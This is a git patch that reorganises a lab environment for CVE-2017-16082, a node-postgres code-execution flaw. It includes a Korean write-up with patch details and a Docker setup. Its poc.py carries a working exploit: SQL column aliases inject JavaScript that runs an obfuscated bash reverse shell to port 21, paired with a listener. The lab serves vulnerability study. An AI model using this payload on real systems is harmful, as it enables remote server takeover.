From 15d8d0e005f2fc0187186e985f7dafbc3602e03e Mon Sep 17 00:00:00 2001 From: Gunho Park Date: Mon, 18 Dec 2023 17:39:48 +0900 Subject: [PATCH] [issue #160] --- {node => NodeJS}/CVE-2017-16082/Dockerfile | 0 {node => NodeJS}/CVE-2017-16082/README.md | 31 ++++++++++-------- {node => NodeJS}/CVE-2017-16082/db.sql | 0 NodeJS/CVE-2017-16082/docker-compose.yml | 17 ++++++++++ {node => NodeJS}/CVE-2017-16082/img/1.png | Bin {node => NodeJS}/CVE-2017-16082/img/2.png | Bin {node => NodeJS}/CVE-2017-16082/img/3.png | Bin {node => NodeJS}/CVE-2017-16082/img/4.png | Bin {node => NodeJS}/CVE-2017-16082/img/5.png | Bin {node => NodeJS}/CVE-2017-16082/img/6.png | Bin .../CVE-2017-16082/package-lock.json | 0 {node => NodeJS}/CVE-2017-16082/package.json | 0 {node => NodeJS}/CVE-2017-16082/poc.py | 29 +++++++++------- {node => NodeJS}/CVE-2017-16082/www/app.js | 0 README.md | 2 ++ node/CVE-2017-16082/docker-compose.yml | 17 ---------- 16 files changed, 53 insertions(+), 43 deletions(-) rename {node => NodeJS}/CVE-2017-16082/Dockerfile (100%) rename {node => NodeJS}/CVE-2017-16082/README.md (72%) rename {node => NodeJS}/CVE-2017-16082/db.sql (100%) create mode 100644 NodeJS/CVE-2017-16082/docker-compose.yml rename {node => NodeJS}/CVE-2017-16082/img/1.png (100%) rename {node => NodeJS}/CVE-2017-16082/img/2.png (100%) rename {node => NodeJS}/CVE-2017-16082/img/3.png (100%) rename {node => NodeJS}/CVE-2017-16082/img/4.png (100%) rename {node => NodeJS}/CVE-2017-16082/img/5.png (100%) rename {node => NodeJS}/CVE-2017-16082/img/6.png (100%) rename {node => NodeJS}/CVE-2017-16082/package-lock.json (100%) rename {node => NodeJS}/CVE-2017-16082/package.json (100%) rename {node => NodeJS}/CVE-2017-16082/poc.py (52%) rename {node => NodeJS}/CVE-2017-16082/www/app.js (100%) delete mode 100644 node/CVE-2017-16082/docker-compose.yml diff --git a/node/CVE-2017-16082/Dockerfile b/NodeJS/CVE-2017-16082/Dockerfile similarity index 100% rename from node/CVE-2017-16082/Dockerfile rename to NodeJS/CVE-2017-16082/Dockerfile diff --git a/node/CVE-2017-16082/README.md b/NodeJS/CVE-2017-16082/README.md similarity index 72% rename from node/CVE-2017-16082/README.md rename to NodeJS/CVE-2017-16082/README.md index ac84014c..fb533feb 100644 --- a/node/CVE-2017-16082/README.md +++ b/NodeJS/CVE-2017-16082/README.md @@ -1,8 +1,6 @@ # node-postgres 임의 코드 실행 취약점(CVE-2017-16082) -**Contributors** - -- [서현규(@wh1te4ever)](https://github.com/wh1te4ever) +> [서현규 (@wh1te4ever)](https://github.com/wh1te4ever)
@@ -44,16 +42,19 @@ SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=r ![](img/4.png) ## poc.py + 로컬 시스템에서 TCP 포트 21에서 수신 대기하는데, 그전에 비동기로 페이로드가 포함된 URL에 GET 요청을 날려 쉘을 가져오는 코드입니다. ![](img/5.png) ## Patch + https://node-postgres.com/announcements#2017-08-12
https://github.com/graphile/graphile-engine/pull/48
사용자가 정의한 열 별칭이 정밀하게 만들어진 정규식과 일치하는지 확인합니다.
GraphQL에서 다음과 같은 코드로 유효성 검사를 수행하도록 개선했습니다. + ``` select(exprGen: SQLGen, alias: RawAlias) { this.checkLock("select"); @@ -77,16 +78,18 @@ select(exprGen: SQLGen, alias: RawAlias) { ``` ## 요약 -- 해당 취약점으로 공격자는 서버에서 임의의 코드를 실행할 수 있고 작동되고 있는 서버의 쉘을 가져올 수도 있습니다. -- [이 링크](https://github.com/brianc/node-postgres/issues/1408#issue-249850516)를 참고하면, eval() 함수를 사용하면서 사용자의 데이터를 파싱될때 발생되는 취약점이었습니다. -- eval() 함수를 사용하면 악성적인 코드를 실행할 수 있기에 사용을 자제하거나 항상 사용되기 전에 유효성 검사를 추가시킬 고려, 검토가 필요합니다. -- eval() is evil... + +- 해당 취약점으로 공격자는 서버에서 임의의 코드를 실행할 수 있고 작동되고 있는 서버의 쉘을 가져올 수도 있습니다. +- [이 링크](https://github.com/brianc/node-postgres/issues/1408#issue-249850516)를 참고하면, eval() 함수를 사용하면서 사용자의 데이터를 파싱될때 발생되는 취약점이었습니다. +- eval() 함수를 사용하면 악성적인 코드를 실행할 수 있기에 사용을 자제하거나 항상 사용되기 전에 유효성 검사를 추가시킬 고려, 검토가 필요합니다. +- eval() is evil... ## Reference -- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html -- https://joker-vip.github.io/2021/11/11/node-postgres%20代码执行漏洞 -- https://github.com/nulldreams/CVE-2017-16082 -- https://buaq.net/go-33738.html -- https://node-postgres.com/announcements#2017-08-12 -- https://github.com/brianc/node-postgres/issues/1408 -- https://github.com/graphile/graphile-engine/pull/48 \ No newline at end of file + +- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html +- https://joker-vip.github.io/2021/11/11/node-postgres%20代码执行漏洞 +- https://github.com/nulldreams/CVE-2017-16082 +- https://buaq.net/go-33738.html +- https://node-postgres.com/announcements#2017-08-12 +- https://github.com/brianc/node-postgres/issues/1408 +- https://github.com/graphile/graphile-engine/pull/48 diff --git a/node/CVE-2017-16082/db.sql b/NodeJS/CVE-2017-16082/db.sql similarity index 100% rename from node/CVE-2017-16082/db.sql rename to NodeJS/CVE-2017-16082/db.sql diff --git a/NodeJS/CVE-2017-16082/docker-compose.yml b/NodeJS/CVE-2017-16082/docker-compose.yml new file mode 100644 index 00000000..644ac2f8 --- /dev/null +++ b/NodeJS/CVE-2017-16082/docker-compose.yml @@ -0,0 +1,17 @@ +version: "2" # Docker Compose 파일의 버전 +services: # 서비스 정의 시작 + node: # 서비스 이름: 'node' + build: . # 현재 디렉토리에서 Docker 이미지를 빌드 (Dockerfile 필요) + depends_on: # 의존하는 서비스 지정 + - db # 'db' 서비스에 의존 + ports: # 포트 매핑 설정 + - "3000:3000" # 호스트 포트 3000을 컨테이너 포트 3000으로 매핑 + volumes: # 볼륨 설정 + - ./www:/usr/src/www # 호스트의 './www' 디렉토리를 컨테이너의 '/usr/src/www' 디렉토리에 연결 + db: # 서비스 이름: 'db' + image: postgres:9.6 # 사용할 Docker 이미지 + environment: # 환경 변수 설정 + - POSTGRES_PASSWORD=postgres # PostgreSQL 비밀번호 설정 + - POSTGRES_DB=example # PostgreSQL 데이터베이스 이름 설정 + volumes: # 볼륨 설정 + - ./db.sql:/docker-entrypoint-initdb.d/db.sql # 호스트의 './db.sql' 파일을 컨테이너의 '/docker-entrypoint-initdb.d/db.sql' 경로로 복사 diff --git a/node/CVE-2017-16082/img/1.png b/NodeJS/CVE-2017-16082/img/1.png similarity index 100% rename from node/CVE-2017-16082/img/1.png rename to NodeJS/CVE-2017-16082/img/1.png diff --git a/node/CVE-2017-16082/img/2.png b/NodeJS/CVE-2017-16082/img/2.png similarity index 100% rename from node/CVE-2017-16082/img/2.png rename to NodeJS/CVE-2017-16082/img/2.png diff --git a/node/CVE-2017-16082/img/3.png b/NodeJS/CVE-2017-16082/img/3.png similarity index 100% rename from node/CVE-2017-16082/img/3.png rename to NodeJS/CVE-2017-16082/img/3.png diff --git a/node/CVE-2017-16082/img/4.png b/NodeJS/CVE-2017-16082/img/4.png similarity index 100% rename from node/CVE-2017-16082/img/4.png rename to NodeJS/CVE-2017-16082/img/4.png diff --git a/node/CVE-2017-16082/img/5.png b/NodeJS/CVE-2017-16082/img/5.png similarity index 100% rename from node/CVE-2017-16082/img/5.png rename to NodeJS/CVE-2017-16082/img/5.png diff --git a/node/CVE-2017-16082/img/6.png b/NodeJS/CVE-2017-16082/img/6.png similarity index 100% rename from node/CVE-2017-16082/img/6.png rename to NodeJS/CVE-2017-16082/img/6.png diff --git a/node/CVE-2017-16082/package-lock.json b/NodeJS/CVE-2017-16082/package-lock.json similarity index 100% rename from node/CVE-2017-16082/package-lock.json rename to NodeJS/CVE-2017-16082/package-lock.json diff --git a/node/CVE-2017-16082/package.json b/NodeJS/CVE-2017-16082/package.json similarity index 100% rename from node/CVE-2017-16082/package.json rename to NodeJS/CVE-2017-16082/package.json diff --git a/node/CVE-2017-16082/poc.py b/NodeJS/CVE-2017-16082/poc.py similarity index 52% rename from node/CVE-2017-16082/poc.py rename to NodeJS/CVE-2017-16082/poc.py index 1aaf5dba..683b4ef1 100644 --- a/node/CVE-2017-16082/poc.py +++ b/NodeJS/CVE-2017-16082/poc.py @@ -5,16 +5,19 @@ success = 0 -web_server_address = 'localhost' -web_server_parameter = '?id=2;' +web_server_address = "localhost" +web_server_parameter = "?id=2;" web_server_port = 3000 -payload = ('SELECT 1 AS "\\\']=0;require=process.mainModule.constructor._load;/*", ' - '2 AS "*/p=require(`child_process`);/*", ' - '3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", ' - '4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"') +payload = ( + 'SELECT 1 AS "\\\']=0;require=process.mainModule.constructor._load;/*", ' + '2 AS "*/p=require(`child_process`);/*", ' + '3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", ' + '4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"' +) + +payload = quote(payload, safe="") -payload = quote(payload, safe='') async def do_exploit(): global success @@ -23,13 +26,15 @@ async def do_exploit(): if success == 1: print("[+] Successfully Exploited!!!") break - r = requests.get(f'http://{web_server_address}:{web_server_port}/{web_server_parameter}{payload}') + r = requests.get( + f"http://{web_server_address}:{web_server_port}/{web_server_parameter}{payload}" + ) success = 1 - + # 호스트와 포트 설정 -host = '0.0.0.0' # 모든 인터페이스에서 수신 -port = 21 #포트 +host = "0.0.0.0" # 모든 인터페이스에서 수신 +port = 21 # 포트 # 소켓 생성 및 연결 대기 server = listen(port=port, bindaddr=host) @@ -48,4 +53,4 @@ async def do_exploit(): # 연결 종료 client.close() -server.close() \ No newline at end of file +server.close() diff --git a/node/CVE-2017-16082/www/app.js b/NodeJS/CVE-2017-16082/www/app.js similarity index 100% rename from node/CVE-2017-16082/www/app.js rename to NodeJS/CVE-2017-16082/www/app.js diff --git a/README.md b/README.md index b36e47b1..18937cf3 100644 --- a/README.md +++ b/README.md @@ -14,3 +14,5 @@ - [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) | MySQL Authentication Bypass / [배소정 (@baethwjd2)](https://github.com/baethwjd2) - Nginx - [CVE-2017-7529](./Nginx/CVE-2017-7529/README.md) | Nginx Integer Overflow Vulnerability / [박건호 (@c0dep1ayer)](https://github.com/c0dep1ayer) +- NodeJS + - [CVE-2017-16082](./NodeJS/CVE-2017-16082/README.md) | node-postgres 임의 코드 실행 취약점 / [서현규 (@wh1te4ever)](https://github.com/wh1te4ever) diff --git a/node/CVE-2017-16082/docker-compose.yml b/node/CVE-2017-16082/docker-compose.yml deleted file mode 100644 index b6bea0da..00000000 --- a/node/CVE-2017-16082/docker-compose.yml +++ /dev/null @@ -1,17 +0,0 @@ -version: '2' # Docker Compose 파일의 버전 -services: # 서비스 정의 시작 - node: # 서비스 이름: 'node' - build: . # 현재 디렉토리에서 Docker 이미지를 빌드 (Dockerfile 필요) - depends_on: # 의존하는 서비스 지정 - - db # 'db' 서비스에 의존 - ports: # 포트 매핑 설정 - - "3000:3000" # 호스트 포트 3000을 컨테이너 포트 3000으로 매핑 - volumes: # 볼륨 설정 - - ./www:/usr/src/www # 호스트의 './www' 디렉토리를 컨테이너의 '/usr/src/www' 디렉토리에 연결 - db: # 서비스 이름: 'db' - image: postgres:9.6 # 사용할 Docker 이미지 - environment: # 환경 변수 설정 - - POSTGRES_PASSWORD=postgres # PostgreSQL 비밀번호 설정 - - POSTGRES_DB=example # PostgreSQL 데이터베이스 이름 설정 - volumes: # 볼륨 설정 - - ./db.sql:/docker-entrypoint-initdb.d/db.sql # 호스트의 './db.sql' 파일을 컨테이너의 '/docker-entrypoint-initdb.d/db.sql' 경로로 복사 \ No newline at end of file